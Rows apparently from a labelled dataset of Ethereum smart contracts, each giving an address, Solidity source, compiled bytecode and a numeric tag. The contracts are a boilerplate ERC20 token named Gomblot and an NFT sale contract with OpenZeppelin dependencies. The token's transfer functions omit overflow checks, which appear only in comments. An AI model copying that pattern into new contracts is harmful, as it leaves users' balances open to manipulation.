154815290600101906020018083116103c757829003601f168201915b50505050509050919050565b6060816000846040518082805190602001908083835b60208310151561042b5780518252602082019150602081019050602083039250610406565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020908051906020019061047192919061057e565b506000836040518082805190602001908083835b6020831015156104aa5780518252602082019150602081019050602083039250610485565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b5050505050905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106105bf57805160ff19168380011785556105ed565b828001600101855582156105ed579182015b828111156105ec5782518255916020019190600101906105d1565b5b5090506105fa91906105fe565b5090565b61062091905b8082111561061c576000816000905550600101610604565b5090565b905600a165627a7a723058207b4cc2eb28d6651af4c4589ba782e15b831816382734d64052e4623b44440eb30029 | [
38
] |
0xf34d3d8a0862ddf72a3faabba2eee95b538b54e4 | pragma solidity ^0.4.16;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract Gomblot is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
function Gomblot(
) {
balances[msg.sender] = 10000000000000000000000;
totalSupply = 10000000000000000000000;
name = "Gomblot"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "GGG"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eed565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610ee257600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058205e9fa9e26f4e1b6493257c3ed72748aa6045f53825931ebceda13c29f293aa590029 | [
38
] |
0xF34D53f6425d44f554c9671F7E12c02a13E7c52f | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./utils/Whitelist.sol";
import "./interfaces/ITrippyFrensERC721A.sol";
/// @title TRIPPY Sale
/// @author 0xhohenheim <[email protected]>
/// @notice NFT Sale contract for purchasing TRIPPY NFTs
contract SaleERC721A is Whitelist, Pausable, ReentrancyGuard {
ITrippyFrensERC721A public NFT;
uint256 public price;
uint256 public limit;
uint256 public userLimit;
uint256 public count;
mapping(address => uint256) public userCount;
event Purchased(address indexed user, uint256 quantity);
event PriceUpdated(address indexed owner, uint256 price);
event LimitUpdated(address indexed owner, uint256 limit);
event UserLimitUpdated(address indexed owner, uint256 userLimit);
constructor(
ITrippyFrensERC721A _NFT,
uint256 _price,
uint256 _limit,
uint256 _userLimit
) {
NFT = _NFT;
setPrice(_price);
setLimit(_limit);
setUserLimit(_userLimit);
}
function setPrice(uint256 _price) public onlyOwner {
price = _price;
emit PriceUpdated(owner(), _price);
}
function setLimit(uint256 _limit) public onlyOwner {
limit = _limit;
emit LimitUpdated(owner(), limit);
}
function setUserLimit(uint256 _userLimit) public onlyOwner {
userLimit = _userLimit;
emit UserLimitUpdated(owner(), userLimit);
}
function _purchase(uint256 quantity) private {
NFT.mint(msg.sender, quantity);
count = count + quantity;
userCount[msg.sender] = userCount[msg.sender] + quantity;
emit Purchased(msg.sender, quantity);
}
function purchase(uint256 quantity)
external
payable
whenNotPaused
restrictForPhase
nonReentrant
{
uint256 totalPrice = quantity * price;
require(msg.value >= totalPrice, "Insufficient Value");
require((count + quantity) <= limit, "Sold out");
require(
((userCount[msg.sender] + quantity) <= userLimit) ||
msg.sender == owner(),
"Wallet limit reached"
);
_purchase(quantity);
}
function withdraw(address payable wallet, uint256 amount)
external
onlyOwner
{
wallet.transfer(amount);
}
function pause() external onlyAdmin {
_pause();
}
function unpause() external onlyAdmin {
_unpause();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./AccessLock.sol";
/// @title Access Lock
/// @author 0xhohenheim <[email protected]>
/// @notice Provides Whitelist Access
contract Whitelist is AccessLock {
enum Phases {
CLOSED,
WHITELIST,
PUBLIC
}
Phases public phase = Phases.CLOSED;
mapping(address => bool) public isWhitelisted; // user => isWhitelisted? mapping
/// @notice emitted when user is whitelisted or blacklisted
event WhitelistSet(address indexed user, bool isWhitelisted);
event PhaseSet(address indexed owner, Phases _phase);
/// @notice Whitelist/Blacklist
/// @param user - Address of User
/// @param _isWhitelisted - Whitelist?
function setWhitelist(address user, bool _isWhitelisted) public onlyAdmin {
isWhitelisted[user] = _isWhitelisted;
emit WhitelistSet(user, _isWhitelisted);
}
/// @notice Batch - Whitelist/Blacklist
/// @param users - Addresses of User
/// @param _isWhitelisted - Whitelist?
function batchSetWhitelist(
address[] memory users,
bool[] memory _isWhitelisted
) external onlyAdmin {
require(users.length == _isWhitelisted.length, "Length not equal");
for (uint256 i = 0; i < users.length; i++) {
setWhitelist(users[i], _isWhitelisted[i]);
}
}
/// @notice Set Phase
/// @param _phase - closed/public/whitelist
function setPhase(Phases _phase) external onlyOwner {
phase = _phase;
emit PhaseSet(msg.sender, _phase);
}
/// @notice reverts based on phase and caller access
modifier restrictForPhase() {
require(
msg.sender == owner() ||
(phase == Phases.WHITELIST && isWhitelisted[msg.sender]) ||
(phase == Phases.PUBLIC),
"Unavailable for current phase"
);
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "../utils/AccessLock.sol";
/// @title ITrippyFrens
/// @author 0xhohenheim <[email protected]>
/// @notice Interface for the TRIPPY NFT contract
interface ITrippyFrensERC721A is IERC721 {
/// @notice - Mint NFT
/// @dev - callable only by admin
/// @param recipient - mint to
/// @param quantity - number of NFTs to mint
function mint(address recipient, uint256 quantity) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Access Lock
/// @author 0xhohenheim <[email protected]>
/// @notice Provides Admin Access Control
contract AccessLock is Ownable {
mapping(address => bool) public isAdmin; // user => isAdmin? mapping
/// @notice emitted when admin role is granted or revoked
event AdminSet(address indexed user,bool isEnabled);
/// @notice Grant or Revoke Admin Access
/// @param user - Address of User
/// @param isEnabled - Grant or Revoke?
function setAdmin(address user, bool isEnabled) external onlyOwner {
isAdmin[user] = isEnabled;
emit AdminSet(user, isEnabled);
}
/// @notice reverts if caller is not admin or owner
modifier onlyAdmin() {
require(
isAdmin[msg.sender] || msg.sender == owner(),
"Caller does not have Admin/Owner access"
);
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
